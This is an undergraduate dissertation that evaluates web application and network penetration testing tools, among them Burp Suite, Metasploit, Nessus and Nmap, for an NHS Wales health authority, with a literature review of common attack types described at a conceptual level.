[image: Text

Description automatically generated]

Security Analysis of Web Application & Network Infrastructure Tools
By
Matthew Lee James

Supervisor: Nitheesh Kaliyamurthy
Second Marker: Munyaradzi Murira

Project submitted as part of the requirements for the award of BSc (Hons) Computing (Computer Networks and Cybersecurity)

July 2022


[bookmark: _Toc93413347][bookmark: _Toc110102165]APPENDIX 1: DECLARATION FORM AND FORM OF CONSENT



DECLARATION 


 
I, Matthew Lee James declare that I am the sole author of this Project; that all references cited have been consulted; that I have conducted all work of which this is a record, and that the finished work lies within the prescribed word limits. 
 
 
This work has not previously been accepted as part of any other degree submission. 
 
 

 

FORM OF CONSENT 



I Matthew Lee James hereby consent that my Project, submitted in candidature for the B.Sc. (Hons) Computing (Computer Networks and Cybersecurity) degree, if successful, may be made available for inter-library loan or photocopying (subject to the law of copyright), and that the title and abstract may be made available to outside organisations. 


[bookmark: _Toc110102166]Abstract
Organisations around the world are at the mercy of insider and outside threat actors, Digital Health & Care Wales (DHCW) are under attack every day by these actors. It is imperative that defence in depth strategies are used, checked, and maintained to ensure there are no exploits available.
The aim of this project is to supply DHCW with recommendation on what penetration testing tools would be useful for both web application and network infrastructure scanning to aid defence.
The project explores various web and network application tools regarding their scanning prowess and documents outcomes, contrasts, and analyses to determine where any shortfalls lie and recommend a tool/s where it is believed that it can assist the organisation. The project provides no recommendations due to the variables and issues involved within the test, further works should be carried out with the advice provided within the project.
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1. [bookmark: _Toc974072219][bookmark: _Toc110102168]Introduction

Digital Health & Care Wales (DHCW) is a Special Health Authority which has the role of changing the way health and care services are delivered in Wales; previously known as NHS Wales Informatics Service (NWIS).
DHCW is taking forward the next generation of services needed to transform health and care delivery; this ranges from supporting frontline staff with modern systems and secure access to information about patients, available wherever they work. Providing new digital solutions to support care for patients, to assist nurses and modernise critical care units amongst other areas.
Prior to the pandemic, Wales has taken bigger steps to transform patient care using digital technology and data, digital health records for each of the 3.1 million people in Wales and digital services supporting every step of the patient journey.
Thousands of NHS Wales staff utilise DHCW technology services every day for Welsh patients, while NHS Wales supports millions of clinical messaging and connecting and joining-up care allowing doctors, nurses, and health staff to have each patient’s information’s to hand where and when it is required. [1]
DHCW are required to protect Personal identifiable information (P.I.I) [2] by various laws such as General Data Protection Act (GDPR) [3]. Information of various nature will be traversing networks within the NHS Wales internal networks and the wider internet to provide information where required. Certain security requirements scrutinised internally must be met to ensure the security of this information. DHCW as well as other IT & Health Professionals undergo Microsoft’s System Development Life Cycle (SDLC) to ensure the product is fit for purpose and has the correct security, compliance and many more essentials in place before use; however, even with these requirements in place many professionals are still worried. Murali K [4] mentions challenges that we currently face in regards to Cyber Security “Malicious attacks can lead to a disruption of care, resulting in patient harm and adverse medical events”, “Privacy is deeply interconnected with cybersecurity concerns”, “ no silver bullet” agreeing with these points are Nicholas C & Bjorn W. S [5]as the increasing number of health care solution connections “increased connected health solutions come with increased safety and security concerns.”
Care must be taken to evaluate the findings of the SDLC and appropriately implement Cyber Security practices where required within DHCW to ensure Confidentiality, Integrity, and Availability (C.I.A) of information.
Attackers also known as hackers are people who intend to illegally gain access to an IT system without prior consent or authorization as said by Matthew James [6] Various types of attacks and techniques are used to gain access to organisation systems. These Attackers tend to lean either towards financial gain or defacement & prevention of services such as Denial of Service (DoS) attacks. [7]. 
Penetration Testers conduct what is known as Penetration tests where activities performed by the pen tester mimic that of a hacker. The primary role for a Penetration Tester is to provide assurance through various testing scenarios on a given application or network utilising tools and techniques that ‘hackers’ would use [8].
Penetration Testers have three testing categories:
· Web application
· Network Infrastructure
· Physical / Social Engineering
The Penetration Testing & Forensics within DHCW is responsible for developing, implementing & maintaining services that actively identify risks and vulnerabilities relating to Digital Health & Care Wales and the wider NHS Wales. The team looks to implement the appropriate, defence in depth security controls based on services needs and organisational threats. This paper will show the various challenges and criteria which will be used in selecting an appropriate penetration testing tool for both Web Application & Network Infrastructure testing.
The criteria will be as follows as shown within previous work by Matthew James [6]:
· [bookmark: Definition_of_Matrix]Testing coverage – ability to test all known vulnerabilities related to a product
· Accuracy - Ability to accurately identify vulnerabilities while producing no false positive or false negatives.
· Breadth of testing – ability to scan and provide vulnerability data on common operating systems (Microsoft’s Windows, Linux & Mac), common web app and networking scanning
· Ease of use – interfaces must be intuitive and easy to use at a first glance with room to adjust for personal dashboard or views, installation ease of use is appreciated.
· Price – cost must be considered for tools and used to compare products of similar nature
Research Question:
What Web Application & Network Infrastructure Tools best suit DHCW Requirements?
1.1. [bookmark: _Toc1839908733][bookmark: _Toc110102169]Aim
The aim of this project is to compare different identified Pen Testing tools and analysis their effectiveness / efficiency in testing various web and network infrastructures in a simulated lab environment.  
1.2. [bookmark: _Toc110102170]Objectives
The Project aims to follow the structure approach as shown below:
· Create criteria for research
· Conduct initial literature review on infrastructure & web app testing tools
· Select tools for both infrastructure & web app testing based on the criteria
· Conduct various vulnerability assessments within a simulated environment
· Analyse and compare tools
· Recommend network penetration testing tool based on analyse
· Recommend web penetration testing tool based on analyse

1.3. [bookmark: _Toc110102171]Research Structure
The report follows a chronological approach:
· Section 2 will showcase the literature review focusing on penetration testing concepts, terminology, and tools.
· Section 3 begins by describing what, why and how of the procedures used to generate a possible solution or answer. 
· Section 4 will highlight any limitation that should be considered when testing penetration testing tools.
· Section 5 will conclude the thesis and will ultimately recommend one or more tools which DHCW should consider using alongside further studies which can be used to further refine selection should those tools be selected.
2. [bookmark: _Toc110102172]Literature Review
The following section will introduce the topic of penetration testing and will focus on information ranging from introductory to professionally used concepts and techniques which will be used as baseline foundation for further discussions into what types of penetration tests are there and what tools are being used in the industry today.
2.1. [bookmark: _Toc110102173]Penetration Testing
Penetration Testing, also referred to as pen test is a “Security testing in which evaluators mimic real-world attacks in an attempt to identify ways to circumvent the security features of an application, system, or network. Penetration testing often involves issuing real attacks on real systems and data, using the same tools and techniques used by actual attackers. Most penetration tests involve looking for combinations of vulnerabilities on a single system or multiple systems that can be used to gain more access than could be achieved through a single vulnerability.” As said by National Institute of Standards and Technology [9] William A Jeffrey (CEO of SIR International) “a method of testing where testers target are individual binary components or applications as a whole to determine intra or intercomponent vulnerabilities can be exploited to compromise the application, its data, or its environment resources” [10].
2.2. [bookmark: _Toc110102174]Penetration Testing Goals
Penetration testing as mentioned before is to review and inspect a systems security to ensure that there are no vulnerabilities that can be exploited by malicious user or hacker by performing various tests from an outsider’s perspective. A more detailed approach is used by penetration testers to identify gaps in an organisation’s security posture, using exploits that are found, testers can exploit to see the risk that this vulnerability poses to the organisation and if any risk of sensitive information being taken.
Ethical hackers are employed to ensure that these tests are done under strict guidelines highlight within a contract to ensure only what has been agreed can be exploited and to what capacity.
Check Team Members/ Leaders are well known Ethical Penetration Testers which are assured by the National Cyber Security Centre (NCSC) and is a part of Government Communications Headquarters (GCHQ) and provide IT health check-ups by undergoing penetration tests amongst other things [11] [12].
The benefits from this testing is that is allows and organisation to see what vulnerabilities would a hacker try to use to gain access, various industry experts agree with this statements; Mandeep K, & Govind G [13]“It allows for testing network or system using tools and techniques an attack might use”, “demonstrate at what depth vulnerabilities can be exploited”, validate vulnerabilities” Steven Wierckx [14] Showing the real risks “Penetration testers try to exploit identified vulnerabilities. That means you see what an attacker could do in the ‘real world’”

2.3. [bookmark: _Toc110102175]Hacker
Hackers are most referred to as any person who is illegally accessing an ITs system without prior consent by the organisation as described by Matthew James [6] Cisco also agrees with this point “A hacker is a person who breaks into a computer system. The reasons for hacking can be many: installing malware, stealing, or destroying data, disrupting service, and more.” [15]

2.4. [bookmark: _Toc110102176]Types of Penetration Testing
2.4.1. [bookmark: _Toc110102177]Web Application
Application testing is an attack intended to expose the effectiveness of an applications security; this highlights risks posed by an actual exploitable vulnerability [16]. By conducting scans on web application, the scanner may be able to access certain elements which would have been protected but became susceptible to attacks such as Cross-Site-Scripting (XSS), this can happen with input fields.
2.4.1.1. [bookmark: OWASP_Top_Ten]OWASP Top 10
The Open Web Application Security Project (OWASP) is a non-profit foundation working to improve the security of software [17]. Through community led open-source software projects, OWASP is the source for developers and technologists to secure the web. Below is the current matrix (updated as of 2021). OWASP gathers through its community’s research which are the most critical security risks to web applications. Companies are encouraged to adopt the document and proceed to ensure that their web application minimize these risks [18].
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[bookmark: _Toc110102214]Figure 1 - OWASP top 10 2022


2.4.1.2. Mitre Att&ck Framework
MITRE ATT&CK is a knowledge base of adversary tactics and techniques based of real-world observations. The ATT&CK knowledge base is used as a foundation for development of specific threat models and methodologies in the private sector, government and in the cyber security product space [19].
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[bookmark: _Toc110102215]Figure 2 - Mitre Att&ck Framework [20]– Sample Set 7/14

2.4.1.3. SQL Injection
SQL injection is a web-based security vulnerability that allows an attacker to interfere with queries that an application makes to a database [21]. Generally, the flow of data prevents users from being able to interact directly with the database outside of the norm. SQL injection allows an attacker to view, retrieve and interact through injection with data that may belong to other users. In many cases, an attacker can modify, delete, or create new data which in turn may cause damage to the application and its behaviour. Furthermore, it can lead to compromise of an organisation by allow them to pivot onto the underlying server and laterally move across the network to other server and services. As shown in OWASP top ten for 2017, injection vulnerability topped the table making it the most common vulnerability and only went down to 3rd 4 years later.
2.4.1.4. XSS -Cross Site Scripting
Cross-Site Scripting also known as ‘XSS’ is a web-based security vulnerability that allows an attacker to compromise a user’s interactions with an application [22]. Attackers can circumvent policies such as ‘same origin’ which is designed to segregate different website from each other; the vulnerability allows an attacker to impersonate another user. If the victim user has privileged access with the application, then an attacker might be able to gain full control over all the applications functionality and data. 
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[bookmark: _Toc110102216]Figure 3 - XSS Diagram
2.4.1.5. Implementation
The paper “Security testing of web applications: A systematic mapping of the Literature” [23] was a compelling read on which authors thoroughly and systematically research the security testing of web applications. Throughout their research which included an initial pool of 154 articles which was further broken down into 80 acceptable articles via voting to a consensus, the team worked towards gaining and understanding of the current state of web applications through electronic database: Google Scholar and Scopus. Being restricted to two research areas doesn’t seem to have affected the teams’ total articles collected, however it suggests that different results would have appeared with a greater sample pool being provided from different sources such as physical or video mediums, a different direction may have been taken by the team. All evidence within the paper was provided from articles as aforementioned, this paper may have benefited from conducting primary research by conducting a live test of testing tools and seeing what vulnerabilities appear on a test bench or contacting an organisation for assistance.
2.4.2. [bookmark: _Toc110102178]Network Infrastructure
Network Penetration tests are performed against the perimeter of an organisation from an outside perspective and uses tools to gather information such as open ports and services to gain an understand of the network structure. Information such as misconfigurations and weak or default passwords can be found on common network devices such as routers, remote access point and maintenance connections.
2.4.2.1. Encryption Standards
Encryption is a way of scrambling data so that only authorized parties may view the contents. In a more detail, it’s the process of converting plaintext into incomprehensible text, this is also known as cipher text; Encryption requires the use of cryptographic keys which are a set of mathematical values that both the sender and recipient have a copy of to send and open the text.

Various types of encryptions exist, asymmetric encryption also known as public key encryption where one key is used for encryption and another different one for decryption which is key private while the public key is for anyone to use and symmetric encryption, within this type there is only one key and all communicating parties use the same ‘secret’ key for both encryption and decryption.

· Triple Data Encryption Standard (DES) [24] which was designed to replace the original DES algorithm, hackers and researchers can now defeat this with ease. Three keys are used within 56 bits each adding up to a total of 168bit. However, experts say that 112-bit key in strength is more like it, Triple DES has since been phased out.

· RSA [25] is a public-key encryption algorithm and standard for encrypting data sent over the internet. It also happens to be one of the most common methods used within Pretty Good Privacy (PGP) and GNU Privacy Guard (GPG) programs. RSA is an asymmetric encryption algorithm because of its use of paired keys. Attacks that attempt to break this encryption require a time and processing power to break this encryption if a man in the middle attack is successful. RSA security uses a 2048-bit public key this is equivalent to a 112-bit symmetric key such as DES or AES. Making this a 2^112 which theoretically is possible but out of reach to modern systems [26].

· Advanced Encryption Standards (AES) is the algorithm trusted as the standard by the United States Government and many other organisations such as financial and health sectors. As of 2022 AES is considered resistant to all attacks except for brute force attack which attempts to decipher messages using all possible combinations in the 128, 129 or 256-bit cipher. Still, security experts believe that AES will eventually become the standard for encrypting all data as said by Proofpoint [24] and Cisco [27]

Check Team Leader (name redacted) [28] have stated “The remote service accepts connections encrypted using SSL 3.0. This version of SSL is affected by several cryptographic flaws, including: 
An insecure padding scheme with CBC ciphers. 
Insecure session renegotiation and resumption schemes. 
An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.”

The Check Team Leader goes on to suggest possible mitigations against the vulnerabilities “Consult the application's documentation to disable SSL 2.0 and 3.0.
Use TLS 1.2 (with approved cipher suites) or higher instead.” 
NCSE support this statement by asking all business to start using TLS 1.2/1.3 when protecting data alongside their recommended profiles [29]
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[bookmark: _Toc110102217]Figure 4 - NCSE TLS 1.3 Profile
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[bookmark: _Toc110102218]Figure 5 - NCSE TLS 1.2 Profile
2.4.2.2. Misconfigure firewalls
Firewalls are one of the primary and in most cases first line of defence in one network perimeter [30].  Firewalls enable users to access applications that are protected behind an organisations network via a rule based allow and deny lists, also known as white and blacklists. Firewalls serve various purposed such as blocking malicious by ‘dropping’ them if they are unrecognised or do not uphold a standard to which the firewall has been configured too; misconfigurations can occur in a variety of ways which can impact a business and its userbase. Scanning a perimeter may result in attackers gaining unintended access to certain devices such as services which may provide a foothold to exploit. This may lead to further investigation and possible denial of service attacks aimed at core network components preventing users from logging on or accessing vital resources when required. According to Gartner “Through 2025, 99% of cloud security failures will be the customer’s fault.” [31]. Gartner researcher further suggest that throughout 2020, 99% of all firewall breaches are not caused by the firewall itself but due to the configuration [32].

2.4.2.3. Distributed Denial of Service (DDoS)
DDoS refers to an attack that takes advantage of capacity limitations on network resources, using these attacks, an attacker can instigate requests that aim of exceeding that capacity to essentially either bring the server down by forcing the services to crash or to disrupt standard service [33]. The affects can last days if not weeks after the initial strike as backlogs of information needs to be sorted before regular service can proceed. Zombie networks can be formed and lead to further attempts at crippling organisations workflow by sheer scale. Possible mitigations have been developed such as sing specialised equipment within the internal network to reduce the number of malicious requests coming in, using security capabilities as the aforementioned allow and block lists provided by the firewalls or by your internet service provider, lastly an organisation can use an anti-DDoS service provider which provides the same mitigations as the previous examples however on a bigger scale [34].

2.4.2.4. Outdated software
All software, including operating systems use the technology currently available to them, this slowly degrades and in sense becomes ‘out of date’. Ideally, once technology become out of date, this should be removed or updated otherwise creating a risk. If software is no longer supported thus receiving no security updates this also increases the overall likelihood that exploitable vulnerabilities will become known by attackers, this accompanied by the longevity of the previous update can lead to other security flaws which make allow additional exploitation such as server take over and lateral movement across the network which highlights a risk to your organisations, its users and customers [35]. The ultimate mitigation for this as recommended by A Check Team Leader “It is recommended that all software is included within a secure patch management policy to ensure they are kept up-to-date.” Other mitigations are to reduce the likelihood of compromise by preventing untrusted or obsolete devices from making contact and exploiting the vulnerabilities, alongside this reducing the impact of compromise by preventing exploitable devices from interacting with other network devices by being essentially a standalone service.
2.4.3. [bookmark: _Toc110102179]Physical / Social Engineering
Penetration tests mainly focus on web and infrastructure testing. However, an additional area exists, this is known as Social Engineering; these tests focus on directly engaging in conversation with a potential target directing them towards sensitive or compromising information about an organisation such as its computer patching and security levels. it can be used to determine the level of security awareness amongst the staff. The distinct differences between each type of penetration test as mentioned above aim to focus on different areas of an organisation to ensure that all areas that can be considered a weakness is covered and remediate any risks where possible.
2.4.3.1. Phishing
Phishing is an information / attack method that typically occurs via email, the intend is to mimic that of a legitimate source and use their credibility to gain ‘target’ trust to provide sensitive information or system access via email compromise using malicious content. This provides a threat actor with a foothold within the organisation and allows for further reconnaissance. [36] 
2.4.3.2. Impersonation
Similarly, to the above phishing scenario, impersonation is using the confidence of a threat actor to persuade someone into believing they are someone else, an example of this is where a threat actor attempts to impersonate a financial advisor which has been newly hired to the organisation and requires access to certain files or systems. This can allow the threat actor access to the network and able to exploit access given or vulnerabilities available to gain information such as invoices, bank details and other confidential/sensitive information. [36]. Going further, this can lead into the above phishing attack as the threat actor now has access to a legitimate email to send out phishing attacks.
2.4.3.3. Tailgating
Tailgating is the method of bypassing physical security measures in order to gain access to locked / sensitive areas. In most cases, a threat actor will attempt to follow a staff member closely to use their key card to open a door or turnstile thus allowing access. [36]. This attack method uses the good will of employees by asking them if required to hold the door open. These types of attacks can allow an attacker to freely roam a secure area. Although, some building continues this with security in depth by adding key fobs and number pad combinations to doors inside preventing the attacker progressing.”

2.4.4. [bookmark: _Toc110102180]Client-side Penetration Tests
As mentioned by Fakhar Imam [37], “Client-side penetration testing, also known as internal testing, is the act of exploiting vulnerabilities in client-side application programs such as an email client, web browsers, Macromedia Flash, Adobe Acrobat and others” some examples of these exploits are:
· Cross-Site Scripting (XSS)
· Click Jacking
· Cross-Origin Resource Sharing (CORS)
· Form Hijacking
· HTML Injection
· Open Redirection
A study by Ponemon Institute& Accenture has provided the following statistics for 2017 [38]:
· Web-based attacks caused $12.3 million loss
· Malicious insiders triggered $8.42 million loss
· Phishing and social engineering caused $8.49 million loss
· Malicious code triggered $8.24 million loss
· Stolen devices caused a $4.97 million loss
In addition to this, GDPR and other laws on which organisations must adhere to have guidelines and laws which must be followed else a fine will be issued. 20 million euros OR 4% of worldwide turnover for the financial year [39].
All this information suggests that client-side security should not be taken likely and prevention methods and mitigation should be put in place to prevent companies from incurring such costs.

2.4.5. [bookmark: _Toc110102181]Wireless Penetration Tests
Internet of Things (IOT) devices connect to an organisations Wi-Fi, penetration testers conduct client’s side testing to ensure no flaws can be exploited within the current infrastructure; tests are conducted such as:
· Accessible ports
· Data encryption standards
· Unauthorized user entry
· Misconfigurations
· Publicly accessible or private/hidden
· Protocols being used
With these tests a tester can assess whether a network is secure on its perimeter, wireless routers can broadcast their signatures to a wide range to allow employees to access the network, this can be a cause for concern as this would eliminate an attackers need to enter the building. [40]
This can also be considered a type of network perimeter test.

2.4.6. [bookmark: _Toc110102182]Black, White & Grey box testing

2.4.6.1. Black box testing
Black box testing involves someone testing a system or device with no prior knowledge of its workings. A tester provides an input, observes the output by the system and attempts to make an educated guess on how the system works and provides the developers with information around how a user would interact with the system and its response, usability, and reliability [41].
2.4.6.2. White box testing
White box testing is the polar opposite from the above black box testing where in this test all information regarding the system is provided to the tester, this includes diagram, code and internal processes amongst anything else the tester requires. Whitebox testing is used to ensure that internal operations are performing according to the specification [42].
2.4.6.3. Grey box testing
Grey box testing is a method where partial knowledge is provided to a tester and is used to debug and evaluate the system, contrasting to black and white box testing. Grey box testing is a form of penetration test that is unbiased and non-obstructive, testers are provided with basic understanding of the tests they are conducting such as the function/ internal workings and how the device interacts with its users. This ensures that testing reflects the experiences of potential attackers and users [43].
2.5. [bookmark: _Toc110102183]Penetration Testing Tools
2.5.1. [bookmark: _Toc110102184]Web Application Testing
2.5.1.1. PortSwigger (Burp suite)
Burp Suite is a web application penetration testing and vulnerability finding tool using a Graphic user interface (GUI) and offers internet proxy options which has various features such as repeater for brute force attacks [6].
Coverage – Windows, Linux and Mac OS X
Accuracy – 78.31% of vulnerability were detected, in this also 12.5% were false positive as reported by Invicti [44].
Breadth – According to a report by Invicti, Burp Suite scanner was able to detect an average of 86.2% of vulnerabilities across the following areas:
· OS Command Injection
· Remote File inclusion
· Path traversal
· SQL Injection
· Reflective XSS
· Unvalidated redirect
Ease of Use – Many users within various forums have credited PortSwigger for their easy to use / user friendly interface as “it has very user-friendly interfaces so that anyone can use it without any training or guidance.” [45],
“Burp suite takes a simplistic look at its graphical user interface (GUI) by having all its functions on the top tab and the various panes containing information relevant to the function, this making it easier to view and change data accordingly. By looking at the below Figure 6, we can see the different panes highlighting critical information about a target host, Issues on the right; below this a description of said issues, contents that can be access within the upper middle.” [6]
Users tend to find that the major drawback to this tool is in its reporting, members of Trust Radius and Peerspot says the following ““The biggest drawback is reporting. It's not so good. I can download them, but they're not so informative.” [46]
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Though some have not enjoyed it as much as others, “The user interface can be considered to make more improvements.” [47]hands on research will need to be conducted within Section 4.
Price – various versions of Burp Suite exist [48]:
· Burp suite professional
· £319 
· Burp suite community
· Free
· Burp suite enterprise edition
· Starter - £5,175
· Grow – £10,710
· Accelerate - £21,780
 
2.5.1.2. Rapid7 (Metasploit)
Metasploit is a framework created to offer simple and powerful approach for exploitation in penetration testing, Metasploit specialising in creating and sending malicious payloads for client-side attacks while also providing features such as fuzzing. Metasploit follows the frame working to validate target, selecting, and configuring said payload and providing the schema used to bypass prevention systems such as intrusion detection systems (IDS) and intrusion prevention systems (IPS).
Coverage – Windows, Linux & MAC OS X
Accuracy – as said by Erii hyllienmark, “Metasploit detected the greatest number of open ports” within its testing scenario against various other scanners/tools.
Breadth – Metasploit allows exploitation on Microsoft Windows, Linux & MAC OS X as reported on Rapid7 documents [49]
Ease of Use – Metasploit offer various installation methods for both GUI and headless servers. Metasploit console is available in both GUI and Command line interface (CLI) and provide a good experience for the user [50], thoughts on security prefers the GUI as says “It provides the easiest way to use Metasploit, whether running locally or connecting remotely, build payloads, launch exploits, control sessions, and keep track of activity as you penetration test or just learn about security.” [51]

[image: Graphical user interface, application
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[bookmark: _Toc110102220]Figure 7 -Metasploit GUI [52]
Price – Various versions exist for Metasploit as of 2019 [53]:
· Community Edition
· Free
· Pro Edition
· $15,000
· Express Edition
· $2,000 - $5,000
2.5.1.3. Invicti (Netsparker)
“Invicti is an automated, yet fully configurable, web application security scanner that enables you to scan websites, web applications, and web services, and identify security flaws. Invicti can scan all types of web applications, regardless of the platform or the language with which they are built.” [54]
Coverage – Windows, Linux, Mac OS X.
Accuracy – Invicti claim that advanced vulnerabilities such as blind, asynchronous, or second order the average scanner won’t detect [55], Invicti further explain that is has 0% false positive and can detect thousands of vulnerabilities including [56]:
· OWASP top 10
· SQL Injection
· Cross-site Scripting (XSS)
· Out-of-band vulnerabilities
· Server-side request forgery
[bookmark: _Toc110102221]Figure 8 –[image: ] Detection & False Positives [44]
Breadth – as mentioned within Accuracy, Invicti’s Netsparker has claimed outrageous levels of breadth and accuracy with its scanners by independent studies conducted each year. Netsparker has a perfect score within the test environment, this suggest that when used in real world scenarios that it will perform just as good. However, all tests should be taken with a grain of salt as situation in each organisation can be different.
Ease of Use - GUI of Netsparker is clean and stylish while so being intuitive to the end user, customization options exist to allow you to create dashboard that better suit your required needs as an organisation or individual teams [6].
[image: What is Netsparker? | Netsparker][bookmark: _Toc110102222]Figure 9 – Net Sparker GUI [124]

Price – Bespoke pricing with each contract, conversations with Invicti would be required to gain an accurate price, however a free trail is available for testing purposes [57].

2.5.1.4. Tenable.io
Tenable IO is powered by Nessus which is arguably the most popular vulnerability scanner. Nessus excels at web-based security testing using its in-build plugin system if can execute more than 10,000 types of checks in a single scan if configured to do so.
Features include:
· Web-based interface
· Client-server architecture
· Remove and local security checks
· Built in plugins
Coverage – windows, Linux, Mac OS X
Accuracy – tenable claim that they “Deliver highly accurate results with minimal false positives and negatives, giving you and your developers confidence that your reports are accurate” [58]
Breadth – Tenable.io identifies OWASP Top 10 vulnerabilities as well as custom application code and vulnerable version of third-party components running on the site [59]. 
Ease of Use – IT Services expert at Solutions architect believes that tenable.io has proved itself as valuable solution while also praising it’s easy to use and united interface “unified management interface and retrospective access to historical assessment reports. We have been able to analyse security posture improvements or the emergence of risk areas as a [image: ]result of these features in Tenable.io.” [60][bookmark: _Toc110102223]Figure 10 - Tenable.io GUI [123]


Price – Tenable offer the Web application scanning tool Tenable.io for £3,610.96, a free version of this is available for download and testing.


2.5.2. [bookmark: _Toc110102185]Network Infrastructure Testing Tools
2.5.2.1. Tenable.sc (Nessus)
Most of the most popular tools to date which is almost deem the go to ‘vulnerability scanner’ is Nessus. Nessus was originally developed in 1998 as an open-source solution for UNIX systems. The tools were formerly free and open source but has since been made as a commercial product by tenable. A free version still exists that user can download with limited security features, within the paid for versions users can gain the following features [61] [6]
Coverage – Microsoft Windows, Linux, Mac OS X
Accuracy – Tenable SC claims the ‘triple crown in VM – No. 1 in Accuracy, Coverage and zero-day research’ by providing the following statistics in 2019 by third party principal technologies [62]:
· No. 1 in coverage, with unmatched depth and breadth
· No. 1 in accuracy, with the industry’s lowest false positives and six-sigma accuracy
· No. 1 in zero-day discoveries (93 and counting for 2019 to date)
Breadth – Tenable prove themselves further within the 2019 report by covering more than there lead competitors “Tenable.io covers more high-severity CVSSv2 CVEs than Rapid7 InsightVM each vulnerability year from 1999 to 2018. Tenable.io covers more high-severity CVSSv2 CVEs than Qualys Cloud Platform in all but three of those vulnerability years” it is a similar case with Medium and Low severity items as well.
Ease of use – customer with Tenable.sc is an overall positive experience, focusing on the visuals of the dashboard tenable does a great showing of trends and high-risk items within an already templated dashboard setting with the availability of creating and adjusting your own dashboards which can be shared to other users of the platform [6].
Price - Tenable Nessus currently costs £2,894.87 each year and with advanced support £3,282.15. [63]
[image: Download Nessus Vulnerability Assessment | Tenable®]
[bookmark: _Toc110102224]Figure 11 - Tenable Nessus [64]

2.5.2.2. Acunetix
Utilise by over 2,300 organisations of all sizes and providing a plethora of automated security scanning for various devices including routers, firewalls, switches, and load balancer; testing for weak passes, DNS zones transfers and highlighting mis configurations and TLS/SSL ciphers issues amongst many others.
Coverage – Windows, Linux, MAC OS X
Accuracy – 
Breadth - “providing a plethora of automated security scanning for various devices including routers, firewalls, switches, and load balancer; testing for weak passes, DNS zones transfers and highlighting mis configurations and TLS/SSL ciphers issues amongst many others.” [6]
Ease of use – Acunetix 13 offers a new user interface which has been written from the ground up. The Ui use the latest version of Angular and provides a clear and clean look for users to view their security information [65].

[image: Acunetix Dashboard][bookmark: _Toc110102225]Figure 12 - Acunetix GUI [125]

Price – Bespoke pricing.


2.5.2.3. ZenMap & NMAP

NMAP is a well-known free, open-source tool amongst penetration testing professional and is used for general purpose information gathering for network scanning. Nmap excels at network and host scanning which can reveal open, filtered, or closed ports, coupled with Service and OS assumptions based on packet signatures.
ZenMap & Nmap features are:
· Host discovery
· Port specification and scan ordering
· Service or version detection
· Scripting engine
· Evasion and spoofing
· Timing and performance, Nmap has its own parallelization system that is customized to its needs, and Nmap is able to speed up as it learns about network reliability when it scans a large group.
Coverage – Windows, Linux, MAC OS X
Accuracy – NMAP can be known as the most accurate scanning tool due to how its configured. Nmap reacts to the returned packets by the targeted machine and provides them a category, hosts with firewalls prevent some packets being returned and as such is categorised accordingly [66]. 
Breadth – NMAP utilising various scripts within its scripting engine, new scripts are developed each day for various operating systems and application making it like NESSUS with its plugins.
Ease of use – NMAP provide both a GUI and a CLI, CLI is most used on Linux machines while the GUI version on Windows and MAC OS X. users have stated that the CLI is easy to use and provide the users with switches via the manual to adjust their scans, this is a similar case with the GUI.
Price – Free
[image: Zenmap - Official cross-platform Nmap Security Scanner GUI]
[bookmark: _Toc110102226]Figure 13 – ZenMap [67]
[image: Nmap to scan all ports]
[bookmark: _Toc110102227]Figure 14 – Nmap [68]
2.5.2.4. OpenVAS

Coverage – Windows, Linux, MAC OS X
Accuracy – many IT professionals use and say that OpenVAS is highly accurate “Greenbone is a cloud-hosted setup to assess and remediate vulnerabilities. The methodologies applied in the configuration provides accurate result segregated based on area and type of vulnerability.” [69]
Breadth – the product can report most if not all vulnerabilities signatures quality and coverage, assessments and reporting with analysis and metrics as reported within this Gartner report [69].
Ease of use – OpenVas has been in cases compared to Nessus regarding its GUI, users tend to find it easy and trivial to navigate the application and require very little to no help [70].
Price – Free
[image: How can I conduct a vulnerability scan of my network using OpenVAS? –  O'Reilly]
[bookmark: _Toc110102228]Figure 15 – OpenVAS [71]


2.6. [bookmark: _Toc110102186]Summary of literature review
In summary, there are an enormous number of available penetration testing tools on the internet either free or paid. With the tools above, collected with the criteria set out previously.
Some tools did not meet the require and as such was not further research for this project, the tools which did not meet the specification will be shown within the appendix.
Currently, the research indicates a favouritism towards Tenable.io for the Web application testing tool as Nessus has been a long and tried tested solution to vulnerability scanning and managements since its initial released in 1998.
Other tools such as Invicti Netsparker is on equal footing in terms of the current criteria, pricing remains the only difference in criteria on which Netsparker does not offer standard pricing but a more bespoke deal which will likely be decided upon scoping the required scanners and overall solution. Burp suite and Metasploit are also close in terms of performance and is used almost every day by leading penetration testers.
With the limited initial research conducted on Network infrastructure scanning tools, it’s believed that Tenable.SC similarly to Tenable.IO is the most popular choice, and scores high within each area of the criteria with its high degree of accuracy and breath and supporting a stylish friendly user interface it quickly becomes a no brainer for most experts in the penetration testing field. Although, NMAP being open-sources and remaining as such is a must use scanning tool in most penetration testers arsenal, providing highly accurate results and both a GUI and CLI interfaces that suit both Windows & Linux users. NMAP also is free and has many online documents and community crafted scripts which can be used for testing whereas products such as Nessus require paid for software to use plugins. OpenVas & Acunetix can be said to share similarities based on the results of the research but stand out areas such as user interface can make the difference in selecting the software, however prices can make the difference as DHCW will be looking at price for performance.
From the research it is believed that stakeholders across NHS Wales could benefit from the acquisition of an additional penetration testing tool which would significantly reduce the manual testing of the current DHCW penetration testing team, this would also reduce the likelihood and/or eliminate the risk of human error and judgement as its verified from external testers, internal DHCW and automated scanning. Further testing will be required to ensure that the tool meets DHCW requirements.
2.6.1. [bookmark: _Toc110102187]Criteria Matrix
Refer to chapter one regarding the definition.
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3. [bookmark: _Toc110102188]Research methodology
3.1. [bookmark: _Toc110102189]Introduction

The following chapter will discuss the process of developing a research methodology required to address the research question.
The chapter will conclude with discussing the research data and an answer to the research question:
What Web Application & Network Infrastructure Tools best suit DHCW Requirements?
3.2. [bookmark: _Toc110102190]Research Approach

Conducting research is a long and strenuous task, while undertaking such as task is it imperative to have an appropriate research approach, this allows information to be used effectively.
There are three primary types of research approaches
· Inductive research
· Deductive research
· Abductive research
Each one of the above research approaches holds its own logical path, selecting the appropriate approach ensure that the research topic is a success.
Inductive research provides indictive reasoning, it states that that the process of which a conclusion is formed must be from trends / patterns from observations and individual instances. The pro of this approach is that it allows for additional flexibility through its theories. Hypothesis can be formed based on the patterns observed, using the approach, researchers can adjust the direction of the study after the initial research process has started. [72].
[image: Inductive approach (inductive reasoning)]
[bookmark: _Toc92735831][bookmark: _Toc110102229]Figure 16 - Inductive Approach [73]
